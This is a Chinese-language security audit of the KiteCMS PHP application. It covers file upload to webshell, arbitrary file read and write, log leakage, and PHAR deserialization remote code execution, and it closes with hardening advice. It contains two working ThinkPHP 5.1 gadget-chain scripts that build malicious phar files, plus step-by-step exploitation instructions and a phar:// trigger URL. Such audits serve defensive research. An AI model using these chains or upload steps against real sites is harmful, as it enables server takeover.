PHP代码审计之Kitecms
字数 1788 2025-08-20 18:18:16

KiteCMS PHP代码审计与漏洞分析报告

环境搭建

  1. 使用phpstudy搭建环境
  2. 进入install目录
  3. 输入数据库名和密码完成安装
  4. 成功搭建后访问后台页面

漏洞分析

1. 文件上传漏洞(后台)

漏洞位置:后台配置-上传功能

代码分析

  • 上传功能调用了uploadFile()方法
  • ThinkPHP框架使用Request::file接收上传文件
  • 上传类型通过Content-Type获取,使用check()方法进行后缀和大小检测
  • 最终调用Local下的upload()实现文件上传

利用步骤

  1. 通过配置将允许上传文件后缀(如.php)写入数据库
  2. 通过后台任意上传点上传.php文件

2. 任意文件写入漏洞

漏洞位置:后台功能中使用file_put_contents()函数

代码分析

  • html参数完全可控,作为写入内容
  • htmlspecialchars_decode()函数还原实体编码
  • $rootpath参数中的$path通过param()接收,可控
  • 导致可控制写入路径和内容

3. 任意文件读取漏洞

漏洞位置:与文件写入漏洞同一方法中的file_get_contents()

代码分析

  • 非POST请求时直接读取$rootpath
  • 由于$path可控,导致任意文件读取

4. PHAR反序列化漏洞

漏洞原理

  • 利用PHAR文件格式的反序列化漏洞执行恶意代码
  • PHAR文件可包含多个PHP脚本和相关资源
  • 恶意构造数据可触发反序列化对象的构造函数执行任意代码

危害

  • 远程代码执行
  • 信息泄露
  • 数据篡改

利用链:ThinkPHP 5.1反序列化利用链

PHAR文件生成代码

<?php
namespace think\process\pipes {
    class Windows {
        private $files;
        public function __construct($files) {
            $this->files = [$files];
        }
    }
}

namespace think\model\concern {
    trait Conversion { }
    trait Attribute {
        private $data;
        private $withAttr = ["v" => "system"];
        public function get() {
            $this->data = ["v" => "calc"];
        }
    }
}

namespace think {
    abstract class Model {
        use model\concern\Attribute;
        use model\concern\Conversion;
    }
}

namespace think\model{
    use think\Model;
    class Pivot extends Model {
        public function __construct() {
            $this->get();
        }
    }
}

namespace {
    $conver = new think\model\Pivot();
    $a = new think\process\pipes\Windows($conver);
    @unlink("phar.phar");
    $phar = new Phar("phar.phar"); // 后缀名必须为phar
    $phar->startBuffering();
    $phar->setStub("GIF89a<?php __HALT_COMPILER(); ?>"); // 设置stub
    $phar->setMetadata($a); // 将自定义的meta-data存入manifest
    $phar->addFromString("test.txt", "test"); // 添加要压缩的文件
    $phar->stopBuffering();
}
?>

利用步骤

  1. 生成phar文件(需设置php.ini中phar.readonly=Off
  2. 修改后缀为.jpg上传
  3. 通过可控参数触发phar反序列化(如is_dir()调用)

5. 日志敏感信息泄露

漏洞条件

  • /config/log.php中开启日志记录
  • config/app.php中开启调试模式(app_debug)

影响

  • 操作记录
  • SQL执行语句
  • 流量信息等

利用方法
访问/runtime/log目录,通过修改日期获取不同日志

6. 任意文件上传(前台)

漏洞位置application/member/controller/Upload.php

代码分析

  • 前台用户注册后可使用文件上传功能
  • 上传处理逻辑与后台类似

利用步骤

  1. 注册前台用户
  2. 进入会员中心发布信息
  3. 修改.png文件为.php上传
  4. 成功获取webshell

7. PHAR RCE 2

漏洞位置scanfile()方法中的is_dir()调用

利用链

<?php
namespace think\process\pipes {
    class Windows {
        private $files;
        public function __construct($files) {
            $this->files = [$files];
        }
    }
}

namespace think\model\concern {
    trait Conversion { }
    trait Attribute {
        private $data;
        private $withAttr = ["lin" => "system"];
        public function get() {
            $this->data = ["lin" => "whoami"];
        }
    }
}

namespace think {
    abstract class Model {
        use model\concern\Attribute;
        use model\concern\Conversion;
    }
}

namespace think\model{
    use think\Model;
    class Pivot extends Model {
        public function __construct() {
            $this->get();
        }
    }
}

namespace {
    $conver = new think\model\Pivot();
    $a = new think\process\pipes\Windows($conver);
    @unlink("phar.phar");
    $phar = new Phar("phar.phar");
    $phar->startBuffering();
    $phar->setStub("GIF89a<?php __HALT_COMPILER(); ?>");
    $phar->setMetadata($a);
    $phar->addFromString("test.txt", "test");
    $phar->stopBuffering();
}
?>

利用步骤

  1. 生成phar文件并改后缀为.png上传
  2. 访问:http://127.0.0.1/admin/admin/scanFilesForTree?dir=phar://./upload/20230308/1c57fd5e8abbd8ce9e6715c28227a95f.png

8. PHAR RCE 3

漏洞位置application/admin/controller/Upload.php中的uploadFile方法

代码分析

  • 调用$uploadObj->upload方法
  • 默认使用local处理器(可后台配置)
  • application/common/model/upload/driver/Local.php中的upload方法直接调用is_dir
  • $uploadPath从数据库获取,后台可控

利用步骤

  1. 后台修改配置使$this->config['upload_path']为phar
  2. 触发phar反序列化

防护建议

  1. 文件上传:

    • 严格限制上传文件类型
    • 使用白名单验证
    • 文件内容检测
  2. 文件操作:

    • 对用户输入路径进行严格校验
    • 限制文件操作目录
  3. PHAR反序列化:

    • 禁用不必要的反序列化
    • 更新ThinkPHP框架
    • 对反序列化对象进行严格控制
  4. 日志安全:

    • 生产环境关闭调试模式
    • 限制日志目录访问
    • 定期清理日志
  5. 输入验证:

    • 对所有用户输入进行过滤和验证
    • 使用PHP反序列化检测工具检查潜在漏洞
KiteCMS PHP代码审计与漏洞分析报告 环境搭建 使用phpstudy搭建环境 进入install目录 输入数据库名和密码完成安装 成功搭建后访问后台页面 漏洞分析 1. 文件上传漏洞(后台) 漏洞位置 :后台配置-上传功能 代码分析 : 上传功能调用了 uploadFile() 方法 ThinkPHP框架使用 Request::file 接收上传文件 上传类型通过 Content-Type 获取,使用 check() 方法进行后缀和大小检测 最终调用 Local 下的 upload() 实现文件上传 利用步骤 : 通过配置将允许上传文件后缀(如.php)写入数据库 通过后台任意上传点上传.php文件 2. 任意文件写入漏洞 漏洞位置 :后台功能中使用 file_put_contents() 函数 代码分析 : html 参数完全可控,作为写入内容 htmlspecialchars_decode() 函数还原实体编码 $rootpath 参数中的 $path 通过 param() 接收,可控 导致可控制写入路径和内容 3. 任意文件读取漏洞 漏洞位置 :与文件写入漏洞同一方法中的 file_get_contents() 代码分析 : 非POST请求时直接读取 $rootpath 由于 $path 可控,导致任意文件读取 4. PHAR反序列化漏洞 漏洞原理 : 利用PHAR文件格式的反序列化漏洞执行恶意代码 PHAR文件可包含多个PHP脚本和相关资源 恶意构造数据可触发反序列化对象的构造函数执行任意代码 危害 : 远程代码执行 信息泄露 数据篡改 利用链 :ThinkPHP 5.1反序列化利用链 PHAR文件生成代码 : 利用步骤 : 生成phar文件(需设置php.ini中 phar.readonly=Off ) 修改后缀为.jpg上传 通过可控参数触发phar反序列化(如 is_dir() 调用) 5. 日志敏感信息泄露 漏洞条件 : /config/log.php 中开启日志记录 config/app.php 中开启调试模式( app_debug ) 影响 : 操作记录 SQL执行语句 流量信息等 利用方法 : 访问 /runtime/log 目录,通过修改日期获取不同日志 6. 任意文件上传(前台) 漏洞位置 : application/member/controller/Upload.php 代码分析 : 前台用户注册后可使用文件上传功能 上传处理逻辑与后台类似 利用步骤 : 注册前台用户 进入会员中心发布信息 修改.png文件为.php上传 成功获取webshell 7. PHAR RCE 2 漏洞位置 : scanfile() 方法中的 is_dir() 调用 利用链 : 利用步骤 : 生成phar文件并改后缀为.png上传 访问: http://127.0.0.1/admin/admin/scanFilesForTree?dir=phar://./upload/20230308/1c57fd5e8abbd8ce9e6715c28227a95f.png 8. PHAR RCE 3 漏洞位置 : application/admin/controller/Upload.php 中的 uploadFile 方法 代码分析 : 调用 $uploadObj->upload 方法 默认使用 local 处理器(可后台配置) application/common/model/upload/driver/Local.php 中的 upload 方法直接调用 is_dir $uploadPath 从数据库获取,后台可控 利用步骤 : 后台修改配置使 $this->config['upload_path'] 为phar 触发phar反序列化 防护建议 文件上传: 严格限制上传文件类型 使用白名单验证 文件内容检测 文件操作: 对用户输入路径进行严格校验 限制文件操作目录 PHAR反序列化: 禁用不必要的反序列化 更新ThinkPHP框架 对反序列化对象进行严格控制 日志安全: 生产环境关闭调试模式 限制日志目录访问 定期清理日志 输入验证: 对所有用户输入进行过滤和验证 使用PHP反序列化检测工具检查潜在漏洞